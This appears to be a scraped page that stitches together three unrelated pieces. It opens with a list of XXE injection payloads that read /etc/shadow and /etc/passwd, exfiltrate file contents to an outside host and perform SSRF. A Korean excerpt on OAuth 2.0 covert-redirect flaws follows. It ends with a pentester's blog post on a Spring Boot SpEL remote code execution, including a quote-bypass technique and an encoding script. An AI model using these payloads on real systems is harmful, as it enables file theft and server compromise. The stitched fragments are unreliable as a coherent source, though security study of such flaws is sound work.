hat is XML external entity injection? XML external entity injection (also known as XXE) is a web securityvulnerabilitythat allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access. In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.
XML External Entity (XXE) Injection Payloads
XXE: Basic XML Example <!--?xml version="1.0" ?--> <userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>
XXE: Entity Example <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>
XXE: File Disclosure <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>
XXE: Blind Local File Inclusion Example (When first case doesn't return anything.) <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
XXE: Access Control Bypass (Loading Restricted Resources - PHP example) <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo>
XXE:SSRF ( Server Side Request Forgery ) Example <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
XXE: (Remote Attack - Through External Xml Inclusion) Exmaple <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY test SYSTEM "https://example.com/entity1.xml">]> <lolz><lol>3..2..1...&test<lol></lolz>
XXE: UTF-7 Exmaple <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XXE: Base64 Encoded <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XXE: XXE inside SOAP Example <soap:Body> <foo> <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo> </soap:Body>
(정의) 제 3의 앱이 자원의 소유자인 서비스 이용자를 대신하여 서비스를 요청할 수 있도록 자원 접근 권한을 위임하는 방법 출처 : 금융보안원 "OAuth 2.0 개요 및 보안 고려사항" 보안연구부-2015-030
Authorization Code Grant방식
OAuth 2.0는 총 4 가지 인증 방법을 갖고 있는데, 그 중 비교적 안전한Authorization code grant방식의 인증 과정을 소개합니다. [그림 1]은 페이코에서 적용한 인증 프로세스로 Authorization code grant 방식을 사용하고 있습니다. 자세한 내용은https://developers.payco.com/guide/development/start에서 확인할 수 있습니다.
[그림 1] 페이코의 OAuth 2.0 프로세스
2.2 Covert Redirect
OAuth 2.0 인증 Flow 중redirect_uri파라미터 값에 대해 검증이 누락되거나 미흡할 경우 발생하는 취약점입니다.
정상적인 경로라면 사용자(Resource Owner)가 로그인 성공 후 발급받은 Authorization code를 Client로 전달해야합니다. 그러나 [그림 3]과 같은 방법으로 공격자는 사용자(피해자)에게 변조된 Redirect URI를 보내 로그인을 유도합니다. 4번 단계에서 사용자(피해자)가 Redirect URI 값이 변조된 URL로 로그인할 경우, Authorization code 값이 공격자 서버로 전달되어 공격자는 사용자(피해자)의 계정을 탈취할 수 있습니다.
4. 마무리
OAuth 2.0 은 안전하지만 구현이 매우 복잡하기로 유명합니다.
복잡함 때문에 실제로도 OAuth 2.0를 제공하는 많은 서비스에서 취약점이 발견되고 있는데요, 구현만 제대로 한다면 안전하지만 매우 복잡하다보니 취약점이 존재할 확률이 높은 것 같습니다.
심지어 취약점이 발생할 경우 사용자 계정 탈취로 이어질 수 있으므로 OAuth 2.0 구현 시 충분한 이해와 준비, 검토가 요구되며 서비스 오픈 이후에도 꾸준한 보안 검수를 통해 취약점이 발생하지 않도록 관리가 필요합니다.
끝으로, OAuth 2.0 Authorization code grant 인증 방식 도표를 활용하여 취약점을 보완하기 위한 설명으로 마무리하겠습니다.
[그림 5] OAuth 2.0 Authorization code grant 인증 방식의 취약점 보완 방안
This is my very frist blog post which was pending for a long time (almost a year). I would like to share a particular Remote Code Execution (RCE) in Java Springboot framework. I was highly inspired to look into this vulnerability after I read this article byDavid Vieira-Kurz, which can be found at hisblog. His article talks about an RCE in the Spring Security OAuth framework and how the Whitelabel error page can be used to trigger code execution.
So this meant that any Whitelabel Error Page which reflected user input was vulnerable to it. This was because user input was being treated in as Springs Expression Language (SpEL). So during my pentest I had come across a particualr URL which triggered this Whitelabel Error page.
My input ofabc${12*12}abcwas reflected asabc144abc. Then I wanted to perform a simpleidand get the result on screen. I proceeded with the following payload:
Hmm…..I see nothing. The reflection gave back the input as it is. I double checked David’s blog to see if I was doing anything wrong. I was unsure as to what went wrong. Was the payload incorrect or did I make a mistake with the braces?? Nope. Everything was correct but I was still not getting my desired output. After fiddling around for a few hours I decided to fireup a demo Springs app and try to recreate the same scenario. I tried with a basic{5*5}and got25printed beautifully onscreen. Then I tried doing anidand bam!!!, it did not execute. I knew that I had to dig deeper because this was eating me up.
It got me thinking that quotes might have been encoded and might have broken theexec()command. Next thing was to look at the stack trace at the server and see what was wrong.
So after debugging I could see that single & double quotes were URL encoded. Theexec()method clearly takes an argument as a string. Now I either need to find characters within the error code and take bits & pieces and pass it to exec usingsubstring(), which is still pretty difficult or I need to find a way to pass my string without using double quotes or single qutoes. I wanted to go with the second approach. Java supports nested functions and if I’m able to find a method which can outputidorcat etc/passwd, this would then be passed toexec()and then my payload would run successfully.
After going through some Java classes I stumbled upon the following:
java.lang.Character.toString(105)
-> prints the characer 'i'
Now I need to concat the letter ‘d’ and I’m golden. Again concat() is a method and i’m going to nest thecharacter.toStringinside it as well.
java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'
Now crafting the final payload, I get the following:
ThegetRuntime()method returns the runtime object which we got on screen. Now we have some sort of a Blind RCE with which we can run any commands. I wanted to go a step further and get the output on screen (just for fun). At this point I wanted to do acat etc/passwdand print the result onto the Whitelabel Error page. This meant for every character I would need to write its ASCII equivalent in the formatconcat(T(java.lang.Character).toString(<ascii value>)). Wrote a quick sloppy python script to acheive this:
Python Script:
#!/usr/bin/env python
from __future__ import print_function
import sys
message = raw_input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
for ch in message:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
Now to get the output ofcat etc/passwdin the response, we will use theIOUtilsclass and call thetoString()method. We can pass an input stream to this method and get the contents of the stream as a response.
The payload became quite huge. To sum up, I used the Apache IOUtils library. I convertedcat etc/passwdinto ASCII characters using the character class, passed this value to theexec()method and got the input stream and passed it to thetoString()method of IOUtils class. Awesome isnt it. I tried this on the remote box and got the following.
All this hassle just to get around the single and double quotes. However I feel there might have been easier ways to go about it. Tackling out the hurdles and troubleshooting and debugging and finally getting what you want is such a serene feeling. This bug was a learning curve for me and I learned a lot of things alongside exploiting this. If you are using an older version of Spring Boot, I would highly advise you to upgrade it. The vulnerability has been patched sinceSpring Boot 1.2.8.
